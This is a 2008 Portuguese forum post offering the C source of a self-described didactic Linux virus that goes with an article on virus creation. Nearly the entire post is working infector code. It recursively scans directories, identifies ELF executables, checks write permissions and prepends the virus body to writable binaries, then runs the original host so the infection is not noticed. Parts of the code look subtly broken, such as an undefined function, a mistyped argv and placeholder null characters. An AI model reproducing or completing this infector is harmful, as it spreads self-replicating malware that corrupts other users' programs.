Vírus didático para Linux em C
Publicado por Geraldo José Ferreira Chagas Júnior 14/07/2008
[ Hits: 9.648 ]
Homepage: http://prginfo.blogspot.com
Código fonte usado no artigo:
Vírus de computador e criação de um vírus em C/C++ (parte 1)
http://www.vivaolinux.com.br/artigos/verArtigo.php?codigo=8309
Esse vírus tem intuito de iniciar o pensamento lógico na criação de vírus e discutir as dificuldades de se criar um vírus para Linux comparando com a criação para vírus no Windows.
/*
virus1.c
Obs.: os tipos de arquivos podem ser
10 - link simbólico lxxx
8 - arquivo -xxx
6 - arquivo de bloco bxxx
4 - diretório dxxx
2 - arquivo de caracter cxxx
1 - arquivo de paginação pxxx
*/
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#define WA(m) m&0x02
#define WG(m) m&0x10
#define WO(m) m&0x80
#define tamVir 12239 /* Tamanho do Vírus */
char codvirus [tamVir]; /* conterá o código do vírus */
const int CABEC_EXEC[]={127, 69, 76, 70, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 3, 0, 1, 0, 0, 0}; /* Cabeçalho de um binário executável */
int _USER_;
int _GROUP_;
char *_PATH_;
void infecta (char *_arq, struct stat _attr)
{
/*Essa técnica de infecção foi uma tentativa que deu certo,
Foi feita gravando byte por bayte pois assim diminui em muito
o tamanho do código, porém pode ser aperfeiçoado.
No windows seria fácil, bastaria copiar o vírus para um arquivo
temporário e depois copiar a arquivo a ser infectado no final do
temporário, apagar o arquivo original e depois renomear o temp.
No linux o buraco é "mais embaixo". Apesar de ter direito de escrita
em um arquivo, o usuário pode não ter direito de escrita no diretório
onde o arquivo se encontra. Logo não daria para criar o temporário.
Então pode vir a pergunta. Por que não copia o arquivo para um temporário
em um diretório qualquer, sobrescreve o vírus no futuro hospedeiro e inclui
o temporário no final? O problema é que teria que varrer todo o disco
procurando um diretório em que p usuário tivesse direito de escrita
correndo o risco de não encontrar nenhum. Nem o próprio diretório do usuário
home me dá garantia que posso escrever nele ou se o usuário que irá executar
o vírus tem diretório home. Por que, então não guardar o executável na memória,
sobrescrever o vírus no arquivo e incluir o conteúdo da memória no final? Porque
nada garante que dependendo do tamanho do executável e da memória disponível
irá ter espaço suficiente, principalmente se estiverem sendo executados várias
estâncias do vírus ao mesmo tempo. Como não temos problema de tempo, pois o vírus
ficará na memória idefinidamente, essa solução me pareceu melhor.*/
FILE *file_exec;
FILE *file_tmp;
char buf[1024];
char *tmp;
long i;
if (!(file_exec=fopen(_arq, "rw+"))) return;
tmp=(char *)malloc(strlen (_arq)+4);
strcpy (tmp, _arq);
strcat (tmp,".tmp");
if (file_tmp=fopen(tmp, "w+"))
{
unlink(tmp);
/* Copiando o hospedeiro para o temporário */
while (i=fread(buf,1,1024,file_exec)) fwrite(buf,1,i,file_tmp);
/* Voltando ao início dos arquivos */
fseek(file_tmp,0 ,SEEK_SET);
fseek(file_exec,0 ,SEEK_SET);
/* copiando para dentro do arquivo original, poupamos tempo com permissões */
/*Gravando o código do vírus no arquivo temporário*/
fwrite(codvirus,1,tamVir,file_exec);
/* voltando o original para depois do vírus */
while (i=fread(buf,1,1024,file_tmp)) fwrite(buf,1,i,file_exec);
}
free(tmp);
close (file_tmp);
close (file_exec);
}
void tentaInfectar (char *arq)
{
FILE *file_exec;
long ret;
char bout[25];
int i;
/* vamos pegar os atributos do arquivo */
struct stat attrib;
stat(arq, &attrib);
/* verificando se o arquivo é binário
Todo executavel binário assim como no windows
tem um cabeçalho identificando.
Não sei o significado mas abri vários binários
e sem excessão eles têm os seguintes primeiros
24 byts = CABEC_EXEC */
if (!(file_exec=fopen(arq,"r"))) return; /* se não temos direiro de leitura, não serve */
ret = fread (bout, 1, 24, file_exec);
/*Tem menos de 24 bytes, nem precisa testar, não é executável binário*/
if (ret <= 0)
{
close (file_exec);
return;
}
for (i=0; i<=23; i++)
{
/* Se tiver alguma diferença no cabeçalho, não é binário */
if (CABEC_EXEC[i] != bout[i])
{
close (file_exec);
return;
}
}
/* Se o usuário for root ou for igual ao dono do arquivo
no caso do grupo, tem que ter direito de escrita
outro caso é se o arquivo der direito de escrita para todos
nestes 4 casos, podemos continuar */
if ((_USER_ != 0) && (!(WA(attrib.st_mode))) && ((_USER_!=attrib.st_uid) || (!(WO(attrib.st_mode)))) && ((_GROUP_!=attrib.st_gid) || (!(WG(attrib.st_mode))))) return;
infecta (arq, attrib);
}
void buscaInfecta (char *d)
{
struct dirent *dir;
DIR *path;
char *strArq;
char *dt;
int tam;
tam = strlen(d);
dt=(char *)malloc (tam+1);
strcpy (dt, d);
/* retirando a barra do fim do nome em caso de diretório para ficar padrão
quando for diretório a barra será recolocada*/
if (dt[tam-1]=='/')
{
dt[tam-1]='{TEXTO}';
tam--;
}
if (!(path=opendir (dt))) { free (dt); return; }
while(dir = readdir(path))
{
usleep (1000);
strArq=(char *)malloc(tam + strlen (dir->d_name) + 2);
strcpy (strArq, dt);
strcpy (&strArq[tam], "/");
strcpy (&strArq[tam+1], dir->d_name);
if ((dir->d_type==4) && (strcmp (dir->d_name,".")!=0) && (strcmp (dir->d_name,"..")!=0))
buscaInfecta (strArq);
else if (dir->d_type==8)
tentaInfectar (strArq);
free (strArq);
}
closedir (path);
free (dt);
}
void pegaDadosExport (void)
{
/* Pegando a Variavel PATH do sistema */
_PATH_ = getenv("PATH");
/* pegando id do usuário e do grupo do usuário que está executando a aplicação */
_USER_ = getuid();
_GROUP_= getgid();
}
int pegaCodVirus (char *exec)
{
/* há 2 possibilidades. Ou foi digitado todo o caminho do arquivo
ou o diretório do arquivo está no path */
FILE *file_exec;
char *diret;
char *tmp;
int i=0, j=0;
int tamstr;
int achou=0;
long ret;
/* caso não tenha digitado todo o path do arquivo */
if (!(file_exec=fopen(exec,"r")))
{
tamstr=strlen(exec);
/* Busca no PATH do sistema*/
while (1)
{
if ((_PATH_[i]==':') || (_PATH_[i]=='{TEXTO}'))
{
tmp=&_PATH_[j];
diret=(char *)malloc(i-j+tamstr+2);
strncpy (diret, tmp, i-j);
diret[i-j]='{TEXTO}';
strcat (diret, "/");
strcat (diret, exec);
if (file_exec=fopen(diret,"r"))
{
free (diret);
achou = 1;
break;
}
free (diret);
if (_PATH_[i]=='{TEXTO}') break;
j=++i;
}
else i++;
}
if (!(achou)) return 0;
}
ret = fread (codvirus, 1, tamVir, file_exec);
if (ret <= 0) /* Não conseguiu copiar todo o código do vírus*/
{
close (file_exec);
return 0;
}
close (file_exec);
return 1;
}
void executaHospedeiro (char *exec, int qtde, char *param[])
{
/* há 2 possibilidades. Ou foi digitado todo o caminho do arquivo
ou o diretório do arquivo está no path */
FILE *file_exec;
FILE *file_tmp;
char *diret;
char *tmp;
char tmpstr[1024];
int i=0, j=0;
int tamstr;
int achou=0;
long ret;
char prog[512];
/* caso não tenha digitado todo o path do arquivo */
if (!(file_exec=fopen(param[0],"r")))
{
tamstr=strlen(param[0]);
/* Busca no PATH do sistema*/
while (1)
{
if ((_PATH_[i]==':') || (_PATH_[i]=='{TEXTO}'))
{
tmp=&_PATH_[j];
diret=(char *)malloc(i-j+tamstr+2);
strncpy (diret, tmp, i-j);
diret[i-j]='{TEXTO}';
strcat (diret, "/");
strcat (diret, param[0]);
if (file_exec=fopen(diret,"r"))
{
free (diret);
achou = 1;
break;
}
free (diret);
if (_PATH_[i]=='{TEXTO}') break;
j=++i;
}
else i++;
}
if (!(achou)) return;
}
strcpy (prog,exec);
for (ret=1; ret<qtde; ret++)
{
strcat (prog," ");
strcat (prog,param[ret]);
}
if (!(file_tmp=fopen(exec,"w+")))
{
close (file_tmp);
return;
}
fseek(file_exec,tamVir,SEEK_SET);
while (ret = fread (tmpstr, 1, 1024, file_exec)) fwrite (tmpstr, ret, 1, file_tmp);
close (file_exec);
close (file_tmp);
chmod (exec,493);
system (prog);
unlink(prog);
return;
}
int main (int argc, char *argv[])
{
int i;
i=fork();
if (i==0)
{
pegaDadosExport ();
/* pega o código binário do vírus para infectar os outros ou então pula a infecção */
if (pegaCodVirus (argv[0])) buscaInfecta ("./");
acao();
}
else executaHospedeiro ("./arqexec", argc, rgv);
}
Contagem de elementos de um array
HaiDownlodManager - simples programa para baixar arquivos
Função simples recursiva para fibonacci
Modo Simples de Baixar e Usar o bash-completion
Monitorando o Preço do Bitcoin ou sua Cripto Favorita em Tempo Real com um Widget Flutuante
Adicionar botão "mostrar área de trabalho" no Zorin OS
Como montar um servidor de backup no linux
Trazendo de volta o Serviços em Segundo Plano no Plasma6
É normal não gostar de KDE? (21)
Servidor para arquivos e banco de dados (4)
780 mil usuários do Janelas baIxaram Linux em um mês (4)
Atualizei meu ubuntu e desliguei e ele não inicia corretamente (12)









